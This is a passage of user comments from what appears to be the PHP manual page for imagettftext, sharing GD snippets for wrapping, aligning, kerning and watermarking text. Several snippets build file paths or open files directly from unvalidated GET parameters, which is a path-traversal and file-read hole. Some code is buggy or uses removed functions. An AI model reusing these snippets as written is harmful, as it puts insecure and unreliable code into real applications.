  $hex = array();
  $rgb = str_replace("#","",
    str_replace(array_keys($color), array_values($color), strtolower($rgb)));
  for ($x=0; $x<strlen($rgb); $x++)
  $hex[] = strtr($rgb[$x],$trans);
  if (count($hex)==3) {
    $hex[5] = $hex[2]; $hex[4] = $hex[2];
    $hex[3] = $hex[1]; $hex[2] = $hex[1];
    $hex[1] = $hex[0];
  };
  $hex = ($hex[0]*16+$hex[1])
  ."x".($hex[2]*16+$hex[3])
  ."x".($hex[4]*16+$hex[5]);
  return $hex;
}

$file  = $_GET['file']
? $_GET['file'] : "logo.txt";
if ($_GET['file']) {
  $fp = @fopen($file, "r");
  while (!feof($fp)) $text .= fgets($fp);  fclose($fp);
} else $text = str_replace("|","\n",$_GET['text']);
$pos   = $_GET['pos']
? $_GET['pos'] : 0;
$font  = $_GET['font']
? "./fonts/".$_GET['font'].".ttf" : "./fonts/verdana.ttf";
$fsize = $_GET['fsize']
? $_GET['fsize'] : 12;
$rgb   = $_GET['rgb']
? $_GET['rgb'] : "#ff9,#393";

imagepng(imagettfpostext($text, $font, $fsize, $pos, $rgb));

function imagettfpostext($text, $font, $fsize, $pos, $rgb,
    $Leading=0, $W=0, $H=0, $X=0, $Y=0) {
  $angle = 0;
  $_bx = imageTTFBbox($fsize,0,$font,$text);
  $str = split("[\n]+",$text);
  $nL  = count($str);
  $W   = ($W==0)
  ? abs($_bx[2]-$_bx[0])
  : $W;
  $H = ($H==0)
  ? abs($_bx[5]-$_bx[3])+($nL>1
  ? ($nL*$Leading)
  : 0)
  : $H;
  $im = @imagecreate($W, $H)
  or die("Cannot Initialize new GD image stream");
  $rgb = explode(",",$rgb);
  $tc  = explode("x",rgb2hex($rgb[1]));
  $bc=explode("x",rgb2hex($rgb[0]));
  $bc  = imagecolorallocate($im, $bc[0], $bc[1], $bc[2]);
  $tc  = imagecolorallocate($im, $tc[0], $tc[1], $tc[2]);
  if ($pos == 0) {
    imagettftext($im, $fsize, $angle, $X,
    $fsize, $tc, $font, $text);
  } else {
    $alpha = range("a", "z");
    $alpha = $alpha.strtoupper($alpha).range(0, 9);
    $_b = imageTTFBbox($fsize, 0, $font, $alpha);
    $_H = abs($_b[5]-$_b[3]);
    $__H = 0;
    for ($i=0; $i<$nL; $i++) {
      $_b = imageTTFBbox($fsize, 0, $font, $str[$i]);
      $_W = abs($_b[2]-$_b[0]);
      if ($pos == 1) $_X = $W-$_W;
      else $_X = abs($W/2)-abs($_W/2);
      $__H += $_H;
      imagettftext($im, $fsize, $angle, $_X, $__H,
      $tc, $font, $str[$i]);
      $__H += $Leading;
    }
  }

  if ($_REQUEST["trans"]) {
   $bg_color = ImageColorAt($im,1,1);
   ImageColorTransparent($im, $bg_color);
  }

  return $im;
}

?>
cameron at prolifique dot com 03-Oct-2008 05:59
"php at yvanrodrigues dot com" is right...this function is not reliable on extended characters. User beware.

In my case, it produced different results with OpenType vs. TrueType versions of the same font. (Converted my OT font to TT using FontForge as suggested. Strangely, the resulting TT font file was twice as big as the OT version and didn't look the same...heavier weight and slightly different spacing.) While the TT version was more accurate at displaying certain characters, neither was totally reliable, both yielding boxes in place of perfectly valid character glyphs that I could verify existed in the font. (Both fonts showed the same characters perfectly on an HTML page with UTF-8 charset.)

What's more, using this same function with the same font on our development vs. production server also produced different results: some chars worked on dev but not production. Stranger still, the font spacing and size were slightly different between the two. Font file is identical. Dev server is Linux, production server is Windows, but should that matter? Suspect it has more to do with differing versions of FreeType (2.1 vs. 1.9 respectively).

Anyway, careful with this function...best to stick within the rather small range of safe characters and avoid anything else.
php at yvanrodrigues dot com 05-Sep-2008 04:10
After many hours of failure may I suggest:

This function will work on OpenType fonts with Postscript outlines, but from what I can tell, characters > ASCII 127 do not display correctly or at all, even if the text is correctly coded as UTF-8.

Converting the font to truetype or possibly OpenType with truetype outlines; or buying the font as such fixes the problem.

I used FontForge to open the otf and export as ttf and it works perfectly.
s.pynenburg _at_ gm ail dotcom 07-Aug-2008 04:31
I had an image generator where the user could position where they wanted the text to begin - however it kept going off the side of an image. So I made this basic function: it measures if the inputted text and x-position will cause the string to go off the edge, and if so, it will fit as much as it can on the first line, then go down to the next one.
Limitations:
-It only performs this once (i.e. it won't split into three lines)
-I'm pretty sure it won't work with angled text.

<?PHP

function imagettftextwrap($im, $size, $angle, $x_pos, $y_pos, $color, $font, $instr)
{
    $box = @imagettfbbox($size, 0, $font, $instr);
    $width = abs($box[4] - $box[0]);
    $height = abs($box[3] - $box[5]);
    $overlap = (($x_pos + $width) - imagesx($im));
    if($overlap > 0) //if the text doesn't fit on the image
    {
        $chars = str_split($instr);
        $str = "";
        $pstr = "";
        for($m=0; $m < sizeof($chars); $m++)
        {
            $bo = imagettfbbox($fsize1, 0, $font1, $str);
            $wid = abs($bo[4] - $bo[0]);
            if(($x_pos + $wid) < imagesx($im)) //add one char from the string as long as it's not overflowing
            {
                $pstr .= $chars[$m];
                $bo2 = imagettfbbox($fsize1, 0, $font1, $pstr);
                $wid2 = abs($bo2[4] - $bo2[0]);
                if(($x_pos + $wid2) < imagesx($im))
                {
                    $str .= $chars[$m];
                }
                else
                {
                    break;
                }
            }
            else
            {
                break;
            }
        }
        $restof = "";
        for($l=$m; $l < sizeof($chars); $l++)
        {
            $restof .= $chars[$l]; //add the rest of the string to a new line
        }
        imagettftext($im, $size, $angle, $x_pos, $y_pos, $color, $font, $str); // print out the smaller line
        imagettftext($im, $size, $angle, 0, $y_pos + $height, $color, $font, $restof); //and the rest of it
    }
    else
    {
        imagettftext($im, $size, $angle, $x_pos, $y_pos, $color, $font, $instr); //otherwise just do normally
    }

}

?>
sk89q 01-Aug-2008 10:03
I updated my imagettftextbox function considerably. It fixes the problems of the older imagettftextbox code I uploaded a few months ago (that's now gone).

You can get it here:
http://sk89q.therisenrealm.com/2008/08/ttf-textbox-in-php/

It has both horizontal and vertical alignment, custom line spacing, borders, width, height, etc.
Stefan at colulus dot com 20-May-2008 07:40
I worked out a script the allows the transfer of alphanumeric data to be placed on an image. The HTML feature is img src and the php feature is imagettftext. This simple code will increment from 1 to 3 on images.

code:

<?php
//ImageCall.php -- This script will call a script to produce the image.
for($next = 1;$next < 4; $next++){
print "Image $next:<br>";
print "<img src = 'Image.php?\$text=$next'>";
print "<br><br>";
}
?>

<?php
//Image.php -- This script creates a square image and places the text on it.

// image size and color
$im = ImageCreate(77,77);
$color1 = ImageColorAllocate($im,0x66,0xCC,0x00);
$color2 = ImageColorAllocate($im,0x33,0x66,0x00);
$color3 = ImageColorAllocate($im,0x00,0x99,0x00);
$color4 = ImageColorAllocate($im,0x3D,0x3D,0x3D);

// image creation
ImageFilledRectangle($im,1,1,76,76,$color1);
ImageFilledpolygon($im, array (76,1,1,76,76,76),3,$color2);
ImageFilledRectangle($im,5,5,72,72,$color3);

// determine numeric center of image
$size = ImageTTFBBox(45,0,'impact',$_GET['$text']);
$X = (77 - (abs($size[2]- $size[0])))/2;
$Y = ((77 - (abs($size[5] - $size[3])))/2 + (abs($size[5] - $size[3])));

//places numeric information on image
ImageTTFText($im,45,0,($X-1),$Y,$color4,'impact',$_GET['$text']);

//returns completed image to calling script
Header('Content-Type: image/png');
Imagepng($im);

?>
Valentijn de Pagter 16-May-2008 07:13
If you're looking for easy text alignment, you need to use the imagettfbbox() command. When given the correct parameters, it will return the boundaries of your to-be-made text field in an array, which will allow you to calculate the x and y coordinate that you need to use for centering or aligning your text.

A horizontal centering example:

<?php

$tb = imagettfbbox(17, 0, 'airlock.ttf', 'Hello world!');

?>

$tb would contain:

Array
(
    [0] => 0 // lower left X coordinate
    [1] => -1 // lower left Y coordinate
    [2] => 198 // lower right X coordinate
    [3] => -1 // lower right Y coordinate
    [4] => 198 // upper right X coordinate
    [5] => -20 // upper right Y coordinate
    [6] => 0 // upper left X coordinate
    [7] => -20 // upper left Y coordinate
)

For horizontal alignment, we need to substract the "text box's" width { $tb[2] or $tb[4] } from the image's width and then substract by two.

Saying you have a 200px wide image, you could do something like this:

<?php

$x = ceil((200 - $tb[2]) / 2); // lower left X coordinate for text
imagettftext($im, 17, 0, $x, $y, $tc, 'airlock.ttf', 'Hello world!'); // write text to image

?>

This'll give you perfect horizontal center alignment for your text, give or take 1 pixel. Have fun!
damititi at gmail dot com 22-Apr-2008 10:21
First of all, thanks sk89q for the func! it was exactly I was looking for.

I made a change. Depending on the letter, the text were incorrect vertical aligned.
I replace the line:
                $line_height = $dimensions[1] - $dimensions[7];
for the following:
                $line_height = $size+4;

No matter if mama or jeje is written, the vertical position will be the same.
sk89q 15-Mar-2008 12:36
Here is an update to my imagettftextwrapped function. I had posted the old version that cut off lines if it wordwrapped.

Here's a new version with the bug fixed, a list of arguments closer to imagettftext(), and partial angle support (the text is angled, but the left margins for each line are not adjusted for the angle).

It's a function I wrote a few years ago to do unjustified aligned text.

<?php
define("ALIGN_LEFT", "left");
define("ALIGN_CENTER", "center");
define("ALIGN_RIGHT", "right");

function imagettftextbox(&$image, $size, $angle, $left, $top, $color, $font, $text, $max_width)
{
        $text_lines = explode("\n", $text); // Supports manual line breaks!

        $lines = array();
        $line_widths = array();

        $largest_line_height = 0;

        foreach($text_lines as $block)
        {
            $current_line = ''; // Reset current line

            $words = explode(' ', $block); // Split the text into an array of single words

            $first_word = TRUE;

            $last_width = 0;

            for($i = 0; $i < count($words); $i++)
            {
                $item = $words[$i];
                $dimensions = imagettfbbox($size, $angle, $font, $current_line . ($first_word ? '' : ' ') . $item);
                $line_width = $dimensions[2] - $dimensions[0];
                $line_height = $dimensions[1] - $dimensions[7];

                if($line_height > $largest_line_height) $largest_line_height = $line_height;

                if($line_width > $max_width && !$first_word)
                {
                    $lines[] = $current_line;

                    $line_widths[] = $last_width ? $last_width : $line_width;

                    /*if($i == count($words))
                    {
                        continue;
                    }*/

                    $current_line = $item;
                }
                else
                {
                    $current_line .= ($first_word ? '' : ' ') . $item;
                }

                if($i == count($words) - 1)
                {
                    $lines[] = $current_line;

                    $line_widths[] = $line_width;
                }

                $last_width = $line_width;

                $first_word = FALSE;
            }

            if($current_line)
            {
                $current_line = $item;
            }
        }

        $i = 0;
        foreach($lines as $line)
        {
            if($align == ALIGN_CENTER)
            {
                $left_offset = ($max_width - $line_widths[$i]) / 2;
            }
            elseif($align == ALIGN_RIGHT)
            {
                $left_offset = ($max_width - $line_widths[$i]);
            }
            imagettftext($image, $size, $angle, $left + $left_offset, $top + $largest_line_height + ($largest_line_height * $i), $color, $font, $line);
            $i++;
        }

        return $largest_line_height * count($lines);
}
?>
llewellyntd at gmail dot com 12-Mar-2008 12:27
Hi All,

I struggled for moths to do a decent text warp with GD lib. Here is the code that I made use of:

<?php
//word wrap
$warpText = wordwrap($text, 30, "\n");
//display text
imagettftext($image, $fontSize, 0, $x, $y, $fontColor, $font, $warpText);
?>

Hope this helps somebody.

Cheers
m0r1arty at mail dot ru 13-Feb-2008 07:50
Sorry my English.
I have trouble with using imagettftext under Windows.
I can't used short name of fonts(example "arial","arialbd.ttf" etc). PHP say what not find this font.
Manipulation with environment GDFONTPATH lost.
This is my solution
<?php
$dir=opendir('./font/');//directory with fonts
if($dir)
    while($f=readdir($dir)){
        if(preg_match('/\.ttf$/',$f)){
            $font=explode('.',$f);
            define($font[0],realpath('./font/'.$f));
        }
    }
if($dir)
    closedir($dir);
?>
Directory "font" have two file: arial.ttf and arialbd.ttf
Now one can using constant font name by calling imagettftext:
imagettftext($img,12,0,25,28,$color,arialbd,'some text');
matt at mmkennedy dot net 18-Jan-2008 04:11
For anyone attempting to print black barcodes, and trying to turn of anti-aliasing, remember that -1 * [0,0,0] is 0, not -0.
denis at reddodo dot com 24-Dec-2007 03:05
Small but very dangerous bug in function ttfWordWrappedText, written by waage, just try ttfWordWrappedText("aaaaa\naa",4) and your script will run into endless loop.
You can fix it with code below:
<?php
    function ttfWordWrappedText_fixed($text, $strlen = 8) {
    $text = urldecode($text);
    $text = explode("\n", $text);
    $i = 0;
    foreach($text as $text)
    {
        while(strlen($text) > $strlen  && strstr($text, ' ') !== FALSE) {
           $startPoint = strpos($text, ' ');
           $line[$i][] =substr($text,0,$startPoint);
           $text = trim(strstr($text, ' '));
        }
        $line[$i][] = trim($text);
        }
        $line[$i][] = trim($text);
        $i++;
    }

    return $line;
}
?>
better solutions is to check input text for lines longer than needed wrap point.
denis at reddodo dot com 24-Dec-2007 02:46
Small but very dangerous bug in function ttfWordWrappedText, written by waage, just try ttfWordWrappedText("aaaaa\naa",4) and your script will run into endless loop.
You can fix it with code below:
<?php
    function ttfWordWrappedText_fixed($text, $strlen = 8) {
    $text = urldecode($text);
    $text = explode("\n", $text);

    $i = 0;
    foreach($text as $text)
    {
        while(strlen($text) > $strlen && stristr($text, ' ') !== FALSE) {
           $startPoint = $strlen - 1;
           while(substr($text, $startPoint, 1) != " ") {
                $startPoint--;
           }
           $line[$i][] = trim(substr($text, 0, $startPoint));
           $text = substr($text, $startPoint);
        }
        $line[$i][] = trim($text);
        $i++;
    }

    return $line;
}
?>
better solutions is to check input text for lines longer than needed wrap point.
dotpointer 09-Dec-2007 01:40
For those trying to disable the font smoothing or font cleartype:ing, take a look at the color parameter for this function. The correct word for what you're looking for is antialiasing.
Anonymous 16-Nov-2007 01:14
Just to comment on Sohel Taslims great function...
if anyone needs to add BACKGROUND TRANSPARENCY to this kind of function (which almost does everyone one would want already) then add

$bg_color = imagecolorat($im,1,1);
imagecolortransparent($im, $bg_color);

ABOVE the "if($L_R_C == 0){ //Justify Left"  line
waage 07-Nov-2007 04:31
I had some issues trying to get both word wrapping and new line detection but with some of the help from the comments below i got this. (thanks to jwe for the main part of the code here)

<?php
function ttfWordWrappedText($text, $strlen = 38) {
    $text = urldecode($text);
    $text = explode("\n", $text);

    $i = 0;
    foreach($text as $text)
    {
        while(strlen($text) > $strlen) {
           $startPoint = $strlen - 1;
           while(substr($text, $startPoint, 1) != " ") {
                $startPoint--;
           }
           $line[$i][] = trim(substr($text, 0, $startPoint));
           $text = substr($text, $startPoint);
        }
        $line[$i][] = trim($text);
        $i++;
    }

    return $line;
}
?>

This returns an array for each newline entered and subarray for each wordwrapped line to print.

ie.

Array
(
    [0] => Array
        (
            [0] => This is the first long line
            [1] => that i entered.
        )

    [1] => Array
        (
            [0] => And this is the new line after that.
        )
)
mitch at electricpulp dot com 20-Sep-2007 04:35
If you're having issues with fonts not working... (Could not find/open font) check your permissions on the folder/font files and make sure they're 775, especially if you've just pulled them from a windows box. Hope this helps!
Ole Clausen 11-Sep-2007 06:11
Comment to: Sohel Taslim (03-Aug-2007 06:19)

Thanks for the function which I have modified a bit. In the new version the lines have equal space between them (the g's in your example create bigger space between the lines) - set by the parameter '$Leading'.

I have used the for-loop for better performance and slimmed the rest a little  :)

    /**
     * @name                    : makeImageF
     *
     * Function for create image from text with selected font. Justify text in image (0-Left, 1-Right, 2-Center).
     *
     * @param String $text     : String to convert into the Image.
     * @param String $font     : Font name of the text. Kip font file in same folder.
     * @param int    $Justify  : Justify text in image (0-Left, 1-Right, 2-Center).
     * @param int    $Leading  : Space between lines.
     * @param int    $W        : Width of the Image.
     * @param int    $H        : Hight of the Image.
     * @param int    $X        : x-coordinate of the text into the image.
     * @param int    $Y        : y-coordinate of the text into the image.
     * @param int    $fsize    : Font size of text.
     * @param array  $color    : RGB color array for text color.
     * @param array  $bgcolor  : RGB color array for background.
     *
     */
    function imagettfJustifytext($text, $font="CENTURY.TTF", $Justify=2, $Leading=0, $W=0, $H=0, $X=0, $Y=0, $fsize=12, $color=array(0x0,0x0,0x0), $bgcolor=array(0xFF,0xFF,0xFF)){

        $angle = 0;
        $_bx = imageTTFBbox($fsize,0,$font,$text);
        $s = split("[\n]+", $text);  // Array of lines
        $nL = count($s);  // Number of lines
        $W = ($W==0)?abs($_bx[2]-$_bx[0]):$W;    // If Width not initialized by programmer then it will detect and assign perfect width.
        $H = ($H==0)?abs($_bx[5]-$_bx[3])+($nL>1?($nL*$Leading):0):$H;    // If Height not initialized by programmer then it will detect and assign perfect height.

        $im = @imagecreate($W, $H)
            or die("Cannot Initialize new GD image stream");

        $background_color = imagecolorallocate($im, $bgcolor[0], $bgcolor[1], $bgcolor[2]);  // RGB color background.
        $text_color = imagecolorallocate($im, $color[0], $color[1], $color[2]); // RGB color text.

        if ($Justify == 0){ //Justify Left
            imagettftext($im, $fsize, $angle, $X, $fsize, $text_color, $font, $text);
        } else {
            // Create alpha-nummeric string with all international characters - both upper- and lowercase
            $alpha = range("a", "z");
            $alpha = $alpha.strtoupper($alpha).range(0, 9);
            // Use the string to determine the height of a line
            $_b = imageTTFBbox($fsize,0,$font,$alpha);
            $_H = abs($_b[5]-$_b[3]);
            $__H=0;
            for ($i=0; $i<$nL; $i++) {
                $_b = imageTTFBbox($fsize,0,$font,$s[$i]);
                $_W = abs($_b[2]-$_b[0]);
                //Defining the X coordinate.
                if ($Justify == 1) $_X = $W-$_W;  // Justify Right
                else $_X = abs($W/2)-abs($_W/2);  // Justify Center

                //Defining the Y coordinate.
                $__H += $_H;
                imagettftext($im, $fsize, $angle, $_X, $__H, $text_color, $font, $s[$i]);
                $__H += $Leading;
            }
        }

        return $im;
    }
Sohel Taslim 03-Aug-2007 06:19
Left Right Center align/justify of text in image. It is easy and simple to do in PHP.
Create an image from text and align them as you want. After that save or display image.

<?php
/**
 * Function for converting Text to Image.
 * Kip CENTURY.TTF file in same folder.
 *
 * @author Taslim Mazumder Sohel
 * @deprecated 1.0 - 2007/08/03
 *
 */
     //Example call.
    $str = "New life in programming.\nNext Line of Image.\nLine Number 3\n" .
        "This is line numbet 4\nLine number 5\nYou can write as you want.";
    header("Content-type: image/gif");
    imagegif(imagettfJustifytext($str,"CENTURY.TTF",2));
    //End of example.

    /**
     * @name                    : makeImageF
     *
     * Function for create image from text with selected font. Justify text in image (0-Left, 1-Right, 2-Center).
     *
     * @param String $text     : String to convert into the Image.
     * @param String $font     : Font name of the text. Kip font file in same folder.
     * @param int    $W        : Width of the Image.
     * @param int    $H        : Hight of the Image.
     * @param int    $X        : x-coordinate of the text into the image.
     * @param int    $Y        : y-coordinate of the text into the image.
     * @param int    $fsize    : Font size of text.
     * @param array  $color       : RGB color array for text color.
     * @param array  $bgcolor  : RGB color array for background.
     *
     */
    function imagettfJustifytext($text, $font="CENTURY.TTF", $Justify=2, $W=0, $H=0, $X=0, $Y=0, $fsize=12, $color=array(0x0,0x0,0x0), $bgcolor=array(0xFF,0xFF,0xFF)){

        $angle = 0;
        $L_R_C = $Justify;
        $_bx = imageTTFBbox($fsize,0,$font,$text);

        $W = ($W==0)?abs($_bx[2]-$_bx[0]):$W;    //If Height not initialized by programmer then it will detect and assign perfect height.
        $H = ($H==0)?abs($_bx[5]-$_bx[3]):$H;    //If Width not initialized by programmer then it will detect and assign perfect width.

        $im = @imagecreate($W, $H)
            or die("Cannot Initialize new GD image stream");

        $background_color = imagecolorallocate($im, $bgcolor[0], $bgcolor[1], $bgcolor[2]);        //RGB color background.
        $text_color = imagecolorallocate($im, $color[0], $color[1], $color[2]);            //RGB color text.

        if($L_R_C == 0){ //Justify Left

            imagettftext($im, $fsize, $angle, $X, $fsize, $text_color, $font, $text);

        }elseif($L_R_C == 1){ //Justify Right
            $s = split("[\n]+", $text);
            $__H=0;

            foreach($s as $key=>$val){

                $_b = imageTTFBbox($fsize,0,$font,$val);
                $_W = abs($_b[2]-$_b[0]);
                //Defining the X coordinate.
                $_X = $W-$_W;
                //Defining the Y coordinate.
                $_H = abs($_b[5]-$_b[3]);
                $__H += $_H;
                imagettftext($im, $fsize, $angle, $_X, $__H, $text_color, $font, $val);
                $__H += 6;

            }

        }
        elseif($L_R_C == 2){ //Justify Center

            $s = split("[\n]+", $text);
            $__H=0;

            foreach($s as $key=>$val){

                $_b = imageTTFBbox($fsize,0,$font,$val);
                $_W = abs($_b[2]-$_b[0]);
                //Defining the X coordinate.
                $_X = abs($W/2)-abs($_W/2);
                //Defining the Y coordinate.
                $_H = abs($_b[5]-$_b[3]);
                $__H += $_H;
                imagettftext($im, $fsize, $angle, $_X, $__H, $text_color, $font, $val);
                $__H += 6;

            }

        }

        return $im;

    }

?>
Borgso 28-Jul-2007 01:30
Right align out of "webmaster at higher-designs dot com" code
<?php
$color = imagecolorallocate($im, 0, 0, 0);
$font = 'visitor.ttf';
$fontsize = "12";
$fontangle = "0";
$imagewidth = imagesx($im);
$imageheight = imagesy($im);

$text = "My right align text";

$box = @imageTTFBbox($fontsize,$fontangle,$font,$text);
$textwidth = abs($box[4] - $box[0]);
$textheight = abs($box[5] - $box[1]);
$xcord = $imagewidth - ($textwidth)-2; // 2 = some space from right side.
$ycord = ($imageheight/2)+($textheight/2);

ImageTTFText ($im, $fontsize, $fontangle, $xcord, $ycord, $black, $font, $text);
?>
Lassial at the google mail dot com 13-Jun-2007 09:42
Creating multiline text with GD is bit complicated, one of the issues I've ran to is how to set line spacing, a normal feature in all type setting (even type writers). By default, line spacing with imagettftext seems to be 150 % or more, too much for me anyhow. Thus I've used the function below to get the lines closer to each other. By default, it appears to create 100 % linespacing, but it has not been tested thoroughly.

null imagettfmultilinetext
(resource $image, float $size, float $angle, int $x, int $y, int $color, string $fontfile, string $text , $spacing)

spacing is a coefficient, comparable to Line spacing in a word processors or graphics software, causing a shift relative to font size in the line spacing

<?php
function imagettfmultilinetext($image, $size, $angle, $x, $y, $color, $fontfile,  $text, $spacing=1)
{

$lines=explode("\n",$text);
for($i=0; $i< count($lines); $i++)
    {
    $newY=$y+($i * $size * $spacing);
    imagettftext($image, $size, $angle, $x, $newY, $color, $fontfile,  $lines[$i], $spacing);
    }
return null;
}
?>
php at gilbertson dot me dot uk 01-Jun-2007 10:52
Users may note a problem trying to use this function to display the Euro symbol.

The reason is that it is a late addition. Although the operating systems generally recognise code 0x80 (128 decimal) as Euro, this is not where it necessarily appears in the font. Some have it there, but many just have it in the extended character set at position 0x20AC (8364 decimal).

I have yet to find a font with it only at 0x80, so here is the fix:

<?php
$image=imagecreate(135,24);
$bg=imagecolorallocate($image,0,0,0);
$fg=imagecolorallocate($image,0,255,0);
$text = 'coffee - €3.50';
$friendly = eurofix($text);
imagettftext($image,16,0,5,20,$fg,"Papyrus.ttf",$friendly);
imagegif ($image);
imagedestroy ($image);

function eurofix($str) {
$euro=utf8_encode('&#8364;');
$str = preg_replace('/\x80/',$euro,$str);
return ($str);
}
?>

You should note, however, this won't help with fonts older than about 1999. It can only make sure the Euro is displayed where available.
lassial at gmail dot com 10-May-2007 03:56
Roy van Arem suggested a neat code for listing TTFs on a machine. However, it has some problems (such as lower and upper case distinction of file extension and defective fonts) that I have corrected in the following script, which can be implemented as a single PHP script (name as you like):

<?php //make sure there are no blank lines above

$ffolder="/usr/local/bin/fonts"; //The directory where your fonts reside

if (empty($_GET['f']))
{
$folder=dir($ffolder); //open directory
echo "<HTML><BODY>\n";

while($font=$folder->read())
  if(stristr($font,'.ttf')) //only ttf fonts
        $fonts[]=$font;

$folder->close();

if (!empty($fonts))
        {
        echo "<table><tr><th colspan='2'>Fonts available in $ffolder</th></tr>"
        ."\n<tr><th>Name</th><th>Appereance</th>";
        sort($fonts);
        foreach ($fonts as $font)
                echo "<tr><td>$font</td><td> <IMG src='".$_SERVER['SCRIPT_NAME']
                        ."?f=$font'></td></tr>\n";
        }
else echo "No fonts found from $ffolder";
echo "\n</HTML></BODY>";
}

else
{
$im=@imagecreatetruecolor(200,30)
        or die("Cannot Initialize new GD image stream");

$black=imagecolorallocate($im,0,0,0);
$white=imagecolorallocate($im,255,255,255);

imagefill($im,0,0,$white);
imagettftext($im,14,0,5,25,$black, "$ffolder/".$_GET['f'] , $_GET['f']);

header("Content-type: image/png");
header('Content-Length: ' . strlen($im));

imagepng($im);
imagedestroy($im);
}
?>
ultraniblet at gmail dot com 05-May-2007 10:08
I have found the kerning (spacing between letters) pretty poor with GD - it's not up to your average designer's standards. Here are some ways to improve it:
- Place the letters one by one using their bounding box instead of using one string
- adjust with a $kerning value
- For small text, sample it down from a larger size to adjust in increments less than 1px

Eg:

<?PHP

$STRING = "NOTRE PHILOSOPHIE";

// ---- PRESETS
$FONT = "CantoriaMTStd-SemiBold.otf";
$FONT_SIZE = 10.5;
$WIDTH = 200;
$HEIGHT = 16;
$KERNING = 0;
$BASELINE = 12;
$BG_COLOR = array(
    "R"=>5,
    "G"=>45,
    "B"=>53
);
$TXT_COLOR = array(
    "R"=>188,
    "G"=>189,
    "B"=>0
);

// ---- CREATE CANVAS + PALETTE
$canvas = imageCreateTrueColor($WIDTH*4,$HEIGHT*4);

$bg_color = imageColorAllocate($canvas, $BG_COLOR["R"], $BG_COLOR["G"], $BG_COLOR["B"]);

$txt_color = imageColorAllocate($canvas, $TXT_COLOR["R"], $TXT_COLOR["G"], $TXT_COLOR["B"]);

imagefill ( $canvas, 0, 0, $bg_color );

// ---- DRAW

$array = str_split($STRING);
$hpos = 0;

for($i=0; $i<count($array); $i++)
{
    $bbox = imagettftext( $canvas, $FONT_SIZE*4, 0, $hpos, $BASELINE*4, $txt_color, $FONT, $array[$i] );

    $hpos = $bbox[2]+$KERNING;
}

// ---- SAMPLE DOWN & OUTPUT
$final = imageCreateTrueColor($WIDTH,$HEIGHT);

imageCopyResampled( $final, $canvas, 0,0,0,0, $WIDTH, $HEIGHT, $WIDTH*4, $HEIGHT*4 );

header('Content-type: image/png');

imagePNG($final);

imageDestroy($canvas);
imageDestroy($final);

?>
Roy van Arem 27-Nov-2006 05:01
If you want to display a list of fonts in a directory and see what they look like, you could do something like this:

<HTML><BODY>

<?php

$folder=dir("fonts/"); //The directory where your fonts reside

while($font=$folder->read())
  {

  if(stristr($font,'.ttf'))echo '<IMG SRC="img.php?'.substr($font,0,strpos($font,'.')).'">'; //only ttf fonts

  }

$folder->close();

?>

</BODY></HTML>

The file for 'img.php' should be something like this:

<?php

$font=$_SERVER["QUERY_STRING"];

header("Content-type: image/png");
$im=@imagecreatetruecolor(200,30)or die("Cannot Initialize new GD image stream");

$black=imagecolorallocate($im,0,0,0);
$white=imagecolorallocate($im,255,255,255);

imagefill($im,0,0,$white);

imagettftext($im,18,0,5,25,$black,"fonts/".$font,$font);

imagepng($im);
imagedestroy($im);

?>

Something similar I implemented at http://font.beginstart.com
ben at evolutioncomputing co uk 05-Nov-2006 10:25
A centralised text watermark - of  any length, that automatically sizes to about 70% of the width, and can be rotated to any angle.

<?php
/* Get image info */
$Image = @ImageCreateFromJPEG ("YourImage.jpg") ;
$sx = imagesx($Image) ;
$sy = imagesy($Image) ;
if ($WatermarkNeeded)
    {
    /* Set text info */
    $Text="Copyright Ben Clay" ;
    $Font="arial.ttf" ;
    $FontColor = ImageColorAllocate ($Image,255,255,255) ;
    $FontShadow = ImageColorAllocate ($Image,0,0,0) ;
    $Rotation = 30 ;
    /* Make a copy image */
    $OriginalImage = ImageCreateTrueColor($sx,$sy) ;
    ImageCopy ($OriginalImage,$Image,0,0,0,0,$sx,$sy) ;
    /* Iterate to get the size up */
    $FontSize=1 ;
    do
        {
        $FontSize *= 1.1 ;
        $Box = @ImageTTFBBox($FontSize,0,$Font,$Text);
        $TextWidth = abs($Box[4] - $Box[0]) ;
        $TextHeight = abs($Box[5] - $Box[1]) ;
        }
    while ($TextWidth < $sx*0.7) ;
    /*  Awkward maths to get the origin of the text in the right place */
    $x = $sx/2 - cos(deg2rad($Rotation))*$TextWidth/2 ;
    $y = $sy/2 + sin(deg2rad($Rotation))*$TextWidth/2 + cos(deg2rad($Rotation))*$TextHeight/2 ;
    /* Make shadow text first followed by solid text */
    ImageTTFText ($Image,$FontSize,$Rotation,$x+4,$y+4,$FontShadow,$Font,$Text);
    ImageTTFText ($Image,$FontSize,$Rotation,$x,$y,$FontColor,$Font,$Text);
    /* merge original image into version with text to show image through text */
    ImageCopyMerge ($Image,$OriginalImage,0,0,0,0,$sx,$sy,50) ;
    }

ImageJPEG ($Image) ;
?>
Tom Pike 04-Oct-2006 05:48
Ref: Craig at frostycoolslug dot com

"Using the negative of a color index has the effect of turning off antialiasing."

This is true, but only if the image has been created with imagecreate() (as opposed to imagecreatetruecolor())
Craig at frostycoolslug dot com 28-Sep-2006 04:54
This one caught me out a little bit as confusing, so in an attempt to help others..

"Using the negative of a color index has the effect of turning off antialiasing."

Simply put:

<?php

$textColour = ImageColorAllocate($image, 255, 255, 255);
ImageTTFText($image, 8, 0, 0, 0, -$textColour, $font, $text);

?>

Note the - (minus) before the $textColor in ImageTTFText, this creates the negative colour index, and switches off AA on text.
webmaster at higher-designs dot com 16-Aug-2006 07:16
I spent days looking for this, couldn't find it, so just made it myself. This is an ultra simple text banner that keeps the text pretty much centered (not perfect when text is angled) vertically and horizontally. Size, font, colors are easy to edit and in HTML version for the colors.

Any additions (maybe for multi-line functionality) can be added if you desire.

<?php
### Declare this script will be displayed as a PNG image.
header("Content-type: image/png");

####################### BEGIN USER EDITS #######################
$imagewidth = 500;
$imageheight = 100;
$fontsize = "20";
$fontangle = "0";
$font = "arial.ttf";
$text = "123456789";
$backgroundcolor = "003366";
$textcolor = "FFCC66";
######################## END USER EDITS ########################

### Convert HTML backgound color to RGB
if( eregi( "([0-9a-f]{2})([0-9a-f]{2})([0-9a-f]{2})", $backgroundcolor, $bgrgb ) )
{$bgred = hexdec( $bgrgb[1] );   $bggreen = hexdec( $bgrgb[2] );   $bgblue = hexdec( $bgrgb[3] );}

### Convert HTML text color to RGB
if( eregi( "([0-9a-f]{2})([0-9a-f]{2})([0-9a-f]{2})", $textcolor, $textrgb ) )
{$textred = hexdec( $textrgb[1] );   $textgreen = hexdec( $textrgb[2] );   $textblue = hexdec( $textrgb[3] );}

### Create image
$im = imagecreate( $imagewidth, $imageheight );

### Declare image's background color
